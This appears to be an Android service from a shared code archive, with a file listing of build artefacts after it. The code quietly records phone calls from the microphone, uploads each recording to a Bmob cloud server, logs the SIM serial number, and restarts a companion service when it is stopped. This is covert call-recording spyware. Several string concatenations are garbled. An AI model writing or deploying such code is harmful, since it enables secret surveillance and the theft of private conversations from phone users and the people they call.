package eo.cn.phonelistener;
import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.IBinder;
import android.support.annotation.Nullable;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import android.util.Log;
import java.io.File;
import java.io.IOException;
import cn.bmob.v3.datatype.BmobFile;
import cn.bmob.v3.exception.BmobException;
import cn.bmob.v3.listener.UploadFileListener;
/**
* Created by mk on 2017/3/14.
*/
public class PhoneListenerService extends Service {
//电话管理
private TelephonyManager tm;
private myListener listener;
private File fileName;
//录音机
private MediaRecorder mediaRecorder;
@Nullable
@Override
public IBinder onBind(Intent intent) {
return null;
}
@Override
public void onCreate() {
tm = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE);
listener = new myListener();
tm.listen(listener,PhoneStateListener.LISTEN_CALL_STATE);//第一个参数是监听器!第二个是监听呼叫的状态
super.onCreate();
}
private class myListener extends PhoneStateListener{
//监听手机状态的变化
@Override
public void onCallStateChanged(int state, String incomingNumber) {
super.onCallStateChanged(state, incomingNumber);
Log.i("电话状态输出",state "");
try {
switch (state){
case TelephonyManager.CALL_STATE_IDLE://空闲状态
Log.i("电话状态输出","空闲状态");
//8.停止录音
if (mediaRecorder!=null){
mediaRecorder.stop();
//9.释放资源
mediaRecorder.release();
mediaRecorder = null;
Log.i("电话状态输出","停止录音");
//上传到服务器
if (fileName!=null){
final BmobFile bmobFile = new BmobFile(fileName);
bmobFile.uploadblock(new UploadFileListener() {
@Override
public void done(BmobException e) {
if (e == null){
//bmobFile.getFileUrl()--返回的上传文件的完整地址
Log.i("电话状态输出","文件上传成功的url是:" bmobFile.getFileUrl() "");
}
else {
Log.i("电话状态输出","文件上传失败:" e.getMessage() "");
}
}
//上传进度条
@Override
public void onProgress(Integer value) {
super.onProgress(value);
Log.i("电话状态输出","文件上传进度:" value "");
}
});
}
}
break;
case TelephonyManager.CALL_STATE_OFFHOOK://通话状态
Log.i("电话状态输出","通话状态");
//1.实例化一个录音机
mediaRecorder = new MediaRecorder();
//2.指定录音机的声音源
mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
Log.i("电话状态输出","指定录音机的声音源");
//3.指定录制文件的输出格式
mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
Log.i("电话状态输出","指定录音文件的文件名称");
//5.设置音频编码
mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
//4.指定录音文件的文件名称Environment.getDataDirectory(),
fileName = new File(Environment.getExternalStorageDirectory(),System.currentTimeMillis() ".3gp");
mediaRecorder.setOutputFile(fileName.getAbsolutePath());
Log.i("电话状态输出", Environment.getExternalStorageState() "" fileName.getAbsolutePath());
Log.i("电话状态输出","设置音频编码");
Log.i("电话状态输出",tm.getSimSerialNumber());
//6.准备开始录音
mediaRecorder.prepare();
Log.i("电话状态输出","准备开始录音");
//7. Recording is now started
mediaRecorder.start();
Log.i("电话状态输出","开始录音");
break;
case TelephonyManager.CALL_STATE_RINGING://响铃状态
Log.i("电话状态输出","响铃状态");
//1.实例化一个录音机
mediaRecorder = new MediaRecorder();
//2.指定录音机的声音源
mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
Log.i("电话状态输出","指定录音机的声音源");
//3.指定录制文件的输出格式
mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
Log.i("电话状态输出","指定录音文件的文件名称");
//5.设置音频编码
mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
//4.指定录音文件的文件名称Environment.getDataDirectory(),
fileName = new File(Environment.getExternalStorageDirectory(),System.currentTimeMillis() ".3gp");
mediaRecorder.setOutputFile(fileName.getAbsolutePath());
Log.i("电话状态输出", Environment.getExternalStorageState() "" fileName.getAbsolutePath());
Log.i("电话状态输出","设置音频编码");
//6.准备开始录音
mediaRecorder.prepare();
Log.i("电话状态输出","准备开始录音");
//7. Recording is now started
mediaRecorder.start();
Log.i("电话状态输出","开始录音");
break;
}
} catch (IOException e) {
Log.i("电话状态输出",e "");
e.printStackTrace();
}
}
}
@Override
public void onDestroy() {
super.onDestroy();
tm.listen(listener,PhoneStateListener.LISTEN_NONE);//注销监听事件
Log.i("电话状态输出","注销");
Intent intent = new Intent(this,PhoneListenerService2.class);
startService(intent);
}
}
资源文件列表
.gradle/3.3/taskArtifacts/fileHashes.bin , 269169
.gradle/3.3/taskArtifacts/fileSnapshots.bin , 499006
.gradle/3.3/taskArtifacts/taskArtifacts.bin , 45032
.gradle/3.3/taskArtifacts/taskArtifacts.lock , 17
.gradle/3.3/tasks/_app_compileDebugJavaWithJavac/localClassSetAnalysis/localClassSetAnalysis.bin , 25304
.gradle/3.3/tasks/_app_compileDebugJavaWithJavac/localClassSetAnalysis/localClassSetAnalysis.lock , 17
.gradle/3.3/tasks/_app_compileDebugJavaWithJavac/localJarClasspathSnapshot/localJarClasspathSnapshot.bin , 20768
.gradle/3.3/tasks/_app_compileDebugJavaWithJavac/localJarClasspathSnapshot/localJarClasspathSnapshot.lock , 17
.idea/compiler.xml , 686
.idea/copyright/profiles_settings.xml , 76
.idea/gradle.xml , 626
.idea/libraries/animated_vector_drawable_25_3_1.xml , 607
.idea/libraries/appcompat_v7_25_3_1.xml , 571
.idea/libraries/bmob_sdk_3_5_0.xml , 1238
.idea/libraries/hamcrest_core_1_3.xml , 526
.idea/libraries/junit_4_12.xml , 477
.idea/libraries/org_apache_http_legacy_android_25.xml , 286
.idea/libraries/support_annotations_25_3_1.xml , 507
.idea/libraries/support_compat_25_3_1.xml , 577
.idea/libraries/support_core_ui_25_3_1.xml , 580
.idea/libraries/support_core_utils_25_3_1.xml , 589
.idea/libraries/support_fragment_25_3_1.xml , 583
.idea/libraries/support_media_compat_25_3_1.xml , 595
.idea/libraries/support_v4_25_3_1.xml , 404
.idea/libraries/support_vector_drawable_25_3_1.xml , 604
.idea/misc.xml , 1737
.idea/modules.xml , 363
.idea/runConfigurations.xml , 564
.idea/workspace.xml , 154967
app/.gitignore , 7
app/app.iml , 9041
app/build.gradle , 996
app/build/generated/source/buildConfig/androidTest/debug/eo/cn/phonelistener/test/BuildConfig.java , 455
app/build/generated/source/buildConfig/debug/eo/cn/phonelistener/BuildConfig.java , 445
app/build/generated/source/r/debug/android/support/compat/R.java , 252
app/build/generated/source/r/debug/android/support/coreui/R.java , 252
app/build/generated/source/r/debug/android/support/coreutils/R.java , 255
app/build/generated/source/r/debug/android/support/fragment/R.java , 254
app/build/generated/source/r/debug/android/support/graphics/drawable/animated/R.java , 272
app/build/generated/source/r/debug/android/support/graphics/drawable/R.java , 263
app/build/generated/source/r/debug/android/support/mediacompat/R.java , 257
app/build/generated/source/r/debug/android/support/v4/R.java , 248
app/build/generated/source/r/debug/android/support/v7/appcompat/R.java , 110550
app/build/generated/source/r/debug/cn/bmob/aar/R.java , 4559
app/build/generated/source/r/debug/eo/cn/phonelistener/R.java , 433366
app/build/intermediates/blame/res/debug/multi/values-af.json , 15591
app/build/intermediates/blame/res/debug/multi/values-am.json , 15585
app/build/intermediates/blame/res/debug/multi/values-ar.json , 15593
app/build/intermediates/blame/res/debug/multi/values-az-rAZ.json , 15023
app/build/intermediates/blame/res/debug/multi/values-b+sr+Latn.json , 15903
app/build/intermediates/blame/res/debug/multi/values-be-rBY.json , 15773
app/build/intermediates/blame/res/debug/multi/values-bg.json , 15597
app/build/intermediates/blame/res/debug/multi/values-bn-rBD.json , 15777
app/build/intermediates/blame/res/debug/multi/values-bs-rBA.json , 15773
app/build/intermediates/blame/res/debug/multi/values-ca.json , 15597
app/build/intermediates/blame/res/debug/multi/values-cs.json , 15593
app/build/intermediates/blame/res/debug/multi/values-da.json , 15589
app/build/intermediates/blame/res/debug/multi/values-de.json , 15593
app/build/intermediates/blame/res/debug/multi/values-el.json , 15599
app/build/intermediates/blame/res/debug/multi/values-en-rAU.json , 15765
app/build/intermediates/blame/res/debug/multi/values-en-rGB.json , 15765
app/build/intermediates/blame/res/debug/multi/values-en-rIN.json , 15765
app/build/intermediates/blame/res/debug/multi/values-es-rUS.json , 15775
app/build/intermediates/blame/res/debug/multi/values-es.json , 15595
app/build/intermediates/blame/res/debug/multi/values-et-rEE.json , 15775
app/build/intermediates/blame/res/debug/multi/values-eu-rES.json , 15771
app/build/intermediates/blame/res/debug/multi/values-fa.json , 15595
app/build/intermediates/blame/res/debug/multi/values-fi.json , 15589
app/build/intermediates/blame/res/debug/multi/values-fr-rCA.json , 15775
app/build/intermediates/blame/res/debug/multi/values-fr.json , 15599
app/build/intermediates/blame/res/debug/multi/values-gl-rES.json , 15773
app/build/intermediates/blame/res/debug/multi/values-gu-rIN.json , 15769
app/build/intermediates/blame/res/debug/multi/values-h720dp-v13.json , 965
app/build/intermediates/blame/res/debug/multi/values-hdpi-v4.json , 1025
app/build/intermediates/blame/res/debug/multi/values-hi.json , 15595
app/build/intermediates/blame/res/debug/multi/values-hr.json , 15593
app/build/intermediates/blame/res/debug/multi/values-hu.json , 15599
app/build/intermediates/blame/res/debug/multi/values-hy-rAM.json , 15767
app/build/intermediates/blame/res/debug/multi/values-in.json , 15595
app/build/intermediates/blame/res/debug/multi/values-is-rIS.json , 15763
app/build/intermediates/blame/res/debug/multi/values-it.json , 15591
app/build/intermediates/blame/res/debug/multi/values-iw.json , 15587
app/build/intermediates/blame/res/debug/multi/values-ja.json , 15581
app/build/intermediates/blame/res/debug/multi/values-ka-rGE.json , 15771
app/build/intermediates/blame/res/debug/multi/values-kk-rKZ.json , 15769
app/build/intermediates/blame/res/debug/multi/values-km-rKH.json , 15767
app/build/intermediates/blame/res/debug/multi/values-kn-rIN.json , 15773
app/build/intermediates/blame/res/debug/multi/values-ko.json , 15577
app/build/intermediates/blame/res/debug/multi/values-ky-rKG.json , 15769
app/build/intermediates/blame/res/debug/multi/values-land.json , 3137
app/build/intermediates/blame/res/debug/multi/values-large-v4.json , 6883
app/build/intermediates/blame/res/debug/multi/values-ldltr-v21.json , 963
app/build/intermediates/blame/res/debug/multi/values-lo-rLA.json , 15765
app/build/intermediates/blame/res/debug/multi/values-lt.json , 15599
app/build/intermediates/blame/res/debug/multi/values-lv.json , 15597
app/build/intermediates/blame/res/debug/multi/values-mk-rMK.json , 14283
app/build/intermediates/blame/res/debug/multi/values-ml-rIN.json , 15773
app/build/intermediates/blame/res/debug/multi/values-mn-rMN.json , 15767
app/build/intermediates/blame/res/debug/multi/values-mr-rIN.json , 15773
app/build/intermediates/blame/res/debug/multi/values-ms-rMY.json , 15771
app/build/intermediates/blame/res/debug/multi/values-my-rMM.json , 15775
app/build/intermediates/blame/res/debug/multi/values-nb.json , 15585
app/build/intermediates/blame/res/debug/multi/values-ne-rNP.json , 15777
app/build/intermediates/blame/res/debug/multi/values-night-v8.json , 5401
app/build/intermediates/blame/res/debug/multi/values-nl.json , 15599
app/build/intermediates/blame/res/debug/multi/values-pa-rIN.json , 15765
app/build/intermediates/blame/res/debug/multi/values-pl.json , 15595
app/build/intermediates/blame/res/debug/multi/values-port.json , 941
app/build/intermediates/blame/res/debug/multi/values-pt-rBR.json , 15775
app/build/intermediates/blame/res/debug/multi/values-pt-rPT.json , 15775
app/build/intermediates/blame/res/debug/multi/values-pt.json , 15599
app/build/intermediates/blame/res/debug/multi/values-ro.json , 15599
app/build/intermediates/blame/res/debug/multi/values-ru.json , 15597
app/build/intermediates/blame/res/debug/multi/values-si-rLK.json , 15771
app/build/intermediates/blame/res/debug/multi/values-sk.json , 15591
app/build/intermediates/blame/res/debug/multi/values-sl.json , 15595
app/build/intermediates/blame/res/debug/multi/values-sq-rAL.json , 15771
app/build/intermediates/blame/res/debug/multi/values-sr.json , 15595
app/build/intermediates/blame/res/debug/multi/values-sv.json , 15593
app/build/intermediates/blame/res/debug/multi/values-sw.json , 15591
app/build/intermediates/blame/res/debug/multi/values-sw600dp-v13.json , 6191
app/build/intermediates/blame/res/debug/multi/values-ta-rIN.json , 15773
app/build/intermediates/blame/res/debug/multi/values-te-rIN.json , 15775
app/build/intermediates/blame/res/debug/multi/values-th.json , 15591
app/build/intermediates/blame/res/debug/multi/values-tl.json , 15601
app/build/intermediates/blame/res/debug/multi/values-tr.json , 15591
app/build/intermediates/blame/res/debug/multi/values-uk.json , 15593
app/build/intermediates/blame/res/debug/multi/values-ur-rPK.json , 15769
app/build/intermediates/blame/res/debug/multi/values-uz-rUZ.json , 15773
app/build/intermediates/blame/res/debug/multi/values-v11.json , 19205
app/build/intermediates/blame/res/debug/multi/values-v12.json , 3273
app/build/intermediates/blame/res/debug/multi/values-v13.json , 937
app/build/intermediates/blame/res/debug/multi/values-v14.json , 9315
app/build/intermediates/blame/res/debug/multi/values-v16.json , 937
app/build/intermediates/blame/res/debug/multi/values-v17.json , 11515
app/build/intermediates/blame/res/debug/multi/values-v18.json , 935
app/build/intermediates/blame/res/debug/multi/values-v21.json , 79971
app/build/intermediates/blame/res/debug/multi/values-v22.json , 3273
app/build/intermediates/blame/res/debug/multi/values-v23.json , 8437
app/build/intermediates/blame/res/debug/multi/values-v24.json , 4591
app/build/intermediates/blame/res/debug/multi/values-v25.json , 3271
app/build/intermediates/blame/res/debug/multi/values-vi.json , 15597
app/build/intermediates/blame/res/debug/multi/values-w820dp-v13.json , 911
app/build/intermediates/blame/res/debug/multi/values-xlarge-v4.json , 4671
app/build/intermediates/blame/res/debug/multi/values-zh-rCN.json , 15751
app/build/intermediates/blame/res/debug/multi/values-zh-rHK.json , 15751
app/build/intermediates/blame/res/debug/multi/values-zh-rTW.json , 15751
app/build/intermediates/blame/res/debug/multi/values-zu.json , 15597
app/build/intermediates/blame/res/debug/multi/values.json , 437190
app/build/intermediates/blame/res/debug/single/anim.json , 3068
app/build/intermediates/blame/res/debug/single/color-v11.json , 756
最多只能显示150条信息!
